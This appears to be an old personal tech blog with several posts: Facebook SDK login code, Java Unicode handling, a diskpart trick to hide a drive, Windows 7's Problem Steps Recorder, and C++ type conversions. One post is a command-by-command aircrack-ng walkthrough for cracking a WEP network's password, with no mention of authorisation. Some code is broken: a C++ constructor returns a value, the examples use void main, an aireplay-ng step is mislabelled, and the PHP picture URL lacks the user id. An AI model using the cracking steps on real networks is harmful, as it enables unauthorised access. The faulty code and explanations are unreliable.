Monday, January 2, 2012

Facebook API - Beginner's Guide

Facebook offers Javascript SDK and PHP SDK which you can make use of for web development. Javascript SDK is more simple to use. Ofcourse PHP SDK is also simple. A well integrated web application needs to efficiently use both of these SDK's .

The first step in using facebook API is to obtain an APP ID for your domain. You can refer here to create a new APP.

Setting Up JS/PHP SDK

Using Javascript API

You need not download any javascript files. You need to include the following code in any file you use JS SDK code.

< div id="fb-root" > < /div >

<script>
window.fbAsyncInit = function() {
FB.init({
appId : 'YOUR_APP_ID', // App ID
channelUrl : '//WWW.YOUR_DOMAIN.COM/channel.html', // Channel File
status : true, // check login status
cookie : true, // enable cookies to allow the server to access the session
xfbml : true // parse XFBML
});

// Additional initialization code here
};

// Load the SDK Asynchronously
(function(d){
var js, id = 'facebook-jssdk'; if (d.getElementById(id)) {return;}
js = d.createElement('script'); js.id = id; js.async = true;
js.src = "//connect.facebook.net/en_US/all.js";
d.getElementsByTagName('head')[0].appendChild(js);
}(document));
</script>


In channel.html have the following line

<script src="//connect.facebook.net/en_US/all.js">
</script>
 
Using PHP SDK

You can download the PHP SDK here. 



Integrating Facebook Login into your website

Using Only PHP SDK

require 'src/facebook.php';

// Create our Application instance (replace this with your appId and secret).
$facebook = new Facebook(array(
  'appId'  => 'YOUR_APP_ID',
  'secret' => 'YOUR_APP_SECRET',
));

// Get User ID
$user = $facebook->getUser();

// If we have a $user id here, it means we know the user is logged into
// Facebook, but we don't know if the access token is valid. An access
// token is invalid if the user logged out of Facebook.

if ($user) {
  try {
    // Proceed knowing you have a logged in user who's authenticated.
    $user_profile = $facebook->api('/me');
  } catch (FacebookApiException $e) {
    error_log($e);
    $user = null;
  }
}

// Login or logout url will be needed depending on current user state.
if ($user) {
  $logoutUrl = $facebook->getLogoutUrl();
} else {
  $loginUrl = $facebook->getLoginUrl();
}

?>

<!doctype html>
<html xmlns:fb="http://www.facebook.com/2008/fbml">  
<head>

    <title>php-sdk </title>

    <style>

      body {
        font-family: 'Lucida Grande', Verdana, Arial, sans-serif;
      }
      h1 a {
        text-decoration: none;
        color: #3b5998;
      }
      h1 a:hover {
        text-decoration: underline;
      }
    </style>

  </head>

  <body>
    <h1>php-sdk</h1>
    <?php if ($user): ?>
      <a href="logout.php" >Logout</a>
    <?php else: ?>
      <div>
       
        <a href="<?php echo $loginUrl; ?>">Login with Facebook</a>
      </div>
    <?php endif ?>

    <?php if ($user): ?>
      <h3>You</h3>
      <img src="https://graph.facebook.com//picture">
      <h3>Your User Object (/me)</h3>
      <pre><?php 
    echo $user_profile['email'];
    echo "\n";
    echo $user_profile['name'];
    ?></pre>
    <?php else: ?>
      <strong><em>You are not Connected.</em></strong>
    <?php endif ?>
   
  </body>
</html>

Thursday, June 17, 2010

CRACKING WIRELESS NETWORK PASSWORD

Before we do wireless cracking, you need to be aware of some of the terms associated with wireless cracking.

WAP - Wireless Access Point
SSID - Service Set Identifier (name of a wireless local area network)

ESSID - Extended Service Set Identifier
BSSID - Basic Service Set Identifier

MAC - Media Access Control( It is 12 digit hexadecimal number)
WEP - Wired Equivalent Privacy

In Windows OS we cannot collect packets of a network that we are not connected to.
Thus we use Linux OS called BackTrack which is a Live OS(can be booted directly from a cd or a removable device). In Backtrack, we use the package Aircrack-ng to perform wireless cracking. If you are using Ubuntu , then you need not use Backtrack. You can install the package Aircarck-ng in Ubuntu(if it is not installed already).

WEP CRACKING STEPS:

Open console in Backtrack or terminal in Ubuntu and perform following steps,

1) Get the name of the Wireless Adapter installed in the PC.

iwconfig

Let us assume the name given by backtrack is wlan0

2) Configure the wireless adapter in Monitor mode.

airmon-ng start wlan0

Let the interface name given by backtrack be mon0

3) Find out the wireless networks available around PC.

airodump-ng mon0

After you enter the following command the scanning process begins to look for wireless networks. Press Ctrl + C to stop the scanning process.
Let us consider that the following details are provided by Backtrack after we execute this command,

ESSID : paul
channel no : 9
BSSID : 00:54:C2:17:2A:92

4) Start the wireless collection of data packets.

airodump-ng -c 9 --bssid 00:54:C2:17:2A:92 -w abcd mon0

here abcd is the capture file that captures the data packets.
You have to wait until a minimum of 20000 data packets are captured.

5) Open new Console or terminal.

6) Try to send some Deauthentication packets. Deauthentication packets are those which disconnects a computer from the network.

aireplay-ng -1 0 -a 00:54:C2:17:2A:92 -e paul mon0

7) Replay the deauthentication packets.

aireplay-ng -3 -b 00:54:C2:17:2A:92 -e paul mon0

8) Crack the capture file

aircrack-ng --bssid
00:54:C2:17:2A:92 abcd-01.cap

On executing the above command we get the password for the wireless network. Use the key without colon.

TAMIL UNICODE


The unicode for Tamil is in the range 0B80 - 0BFF . Each individual tamil letter is represented by a 16 bit code.

Example:

Code for letter க is 0B95
Code for letter கா is 0B95 0BBE
The image above shows the code for various tamil letters. Thus the respective combination of the tamil letters can be used to generate appropriate tamil words. Remember always that the consonants should appear first.( That is for the letter கா , the code for க should appear first).

Using Tamil Unicode In Java:

Java code to display a tamil string in a Applet:

import java.awt.*;
import java.io.*;
import javax.swing.*;
public class test1 extends JApplet
{

public void init()
{
String rt="\u0B87\u0BB2\u0BCD\u0BB2\u0BC8";
Container cp=getContentPane();
cp.setLayout(new FlowLayout());
JLabel b=new JLabel();
b.setFont(new Font("Latha",Font.PLAIN,12));
b.setText(rt);
cp.add(b);
}

}


Displaying Tamil Font In Java:

If the tamil font is not properly displayed in Java , you have to add a fallback folder


1) Create a folder called "fallback".

2) Copy the font file latha.ttf(or the font which you are using) into the fallback folder.

3) Move the fallback folder into two locations

/jdk/jre/fonts/
/jre/fonts

The first jre folder is inside the jdk folder. This is used to display tamil font in frames and windows.
The second jre folder occurs along with the jdk folder. This is used to display tamil font in applets.

Important Tip Regarding using Different Languages In java:

It is adviced to use Swings compared to Awt for applications involving different languages.



Wednesday, June 16, 2010

READING UNICODE TEXT FROM A FILE IN JAVA

The Unicode will be in either in UTF-8 or UTF-16 format.

Code for reading UTF-16 file:

import java.io.*;

public class Unicode_read
{
public static void main(String args[])
{
FileInputStream fis=null;
BufferedReader br=null;
try
{
fis=new FileInputStream("unicodefile.txt");
br=new BufferedReader(new InputStreamReader(fis,"UTF-16"));
String h;
while((h=br.readLine())!=null)
{
//perform your task with the read string.
}
}
catch(Exception e)
{
System.out.println(e);
}
}
}

Friday, March 5, 2010

MAKE YOUR HARD DRIVE DISAPPEAR !!!

This is Cool trick to Just make your Hard Drive Disappear !!! You Could do this for hiding Your personal data from intruders.. This is Safe one. Nothing will happen to your hard drive. Believe ME
:)

Steps to Follow:

1)Start->Run->cmd
2)Type as Diskpart and Select Yes if a prompt Box appears
3)A new window will appear once you give Yes in the prompt Window
4)Type "list volume". This will list the available volumes along with letter and label of that drive

Suppose your "D drive" is "Volume 4". If u wanna make this disappear

5)Type "select volume 4"
6)Type "remove letter D"

Now You could find that D drive is no longer in Your My Computer !!!

To make it appear again:

Repeat the steps till 5

Instead of the command in 6) ,type "assign letter D"

U could find ur disk drive again in My computer. Screen shots of the Procedure can be seen






















Problem Steps Recorder in windows 7

As the local PC guru you're probably very used to friends and family asking for help with their computer problems, yet having no idea how to clearly describe what's going on. It's frustrating, but Microsoft feels your pain, and Windows 7 will include an excellent new solution in the Problem Steps Recorder.

When any app starts misbehaving under Windows 7 then all your friends need do is click Start, type PSR and press Enter, then click Start Record. If they then work through whatever they're doing then the Problem Steps Recorder will record every click and keypress, take screen grabs, and package everything up into a single zipped MHTML file when they're finished, ready for emailing to you. It's quick, easy and effective, and will save you hours of troubleshooting time.


Tuesday, December 15, 2009

TYPE CONVERSIONS IN C++


Three types of type conversions are possible in C++

1. Class type to Basic type
2. Basic type to Class type
3. One class type to another class type

Basic types refer to fundamental data types like int , float , double , char etc. Class type refers to a user defined class type.We use the terms "source type" to denote the initial type and the term "destination type" to denote the final converted type.

The type conversions can be performed in two ways using

1. Costructor(only when the destination type is class type)
2. Overloaded Operator function(only when the source type is a class type)

depending on the type of the conversion.

Class type to Basic type:
The conversion from a class type to a basic type can be performed only using an overloaded operator function.It cannot be done using a constructor,since the destination type is a basic type.

Consider the following example,

class test
{

int x;
public:
test(int y)
{
x=y;
}
operator int()
{
return x;
}

};

void main()
{

int d;
test t(100);
d=t; //calls operator function.converts "test" type to "int" type
//d has value 100

}

Here we have converted a class type to a basic type.While writing the operator function,keep in mind the following points,

1) The operator function should not be explicitly specified a return type. However the operator function should return the destination type,but the return type should not be mentioned in the function declaration.

2)The operator function should be defined inside the class.

Basic type to Class type :
The conversion from a basic type to a class type can be performed using a constructor.It cannot be done using an operator function since the source type is a basic type.

Consider the following example,

class test
{

int x;
public:
test()
{
}
test(int y)//constructor for type conversion
{
x=y;
}

};

void main()
{

int d=100;
test t;
t=d; //calls the constructor

}

Here we have converted the "int" type to "test" type ie from a basic type to a class type.

Class type to Class type :
Conversion between two class types can be done by using either a constructor or a operator function.

Using a constructor :
The conversion is done in the constructor of the destination class.

Consider the following example
//Conversion from metre to centimetre

class centimetre;
class metre
{

float m;
public:
metre(float x)
{
m=x;
}
friend class centimetre;
};

class centimetre
{

float cm;
public:
centimetre()
{
}
centimetre(metre ob) // constructor for type conversion
{
centimetre temp;
temp.cm=ob.m * 100;
return temp;
}

};

void main()
{

metre d(12.345);
centimetre t;
t=d; //conversion from metre to centimetre
//t object has a centimetre of 1234.5

}

Thus we have converted from one class type to another class type using a constructor . Remember to perform the type conversion in the destination class constructor.

Using operator function :
The operator function should be given in the source class.

Consider the following example,
// conversion from metre to centimetre

class centimetre;
class metre
{

float m;
public:
metre(float x)
{
m=x;
}
operator centimetre();

};

class centimetre
{

float cm;
public:
centimetre()
{
}

friend class metre;

};

metre::operator centimetre() //operator function for type conversion
{
centimetre temp;
temp.cm= m*100;
return temp;
}

void main()
{

centimetre t;
metre r(12.345);
t=r; //calls the operator function
//t object has a centimetre of 1234.5

}

Thus we have converted one class type to another class type using a operator function. Remember to use the operator function inside the source class.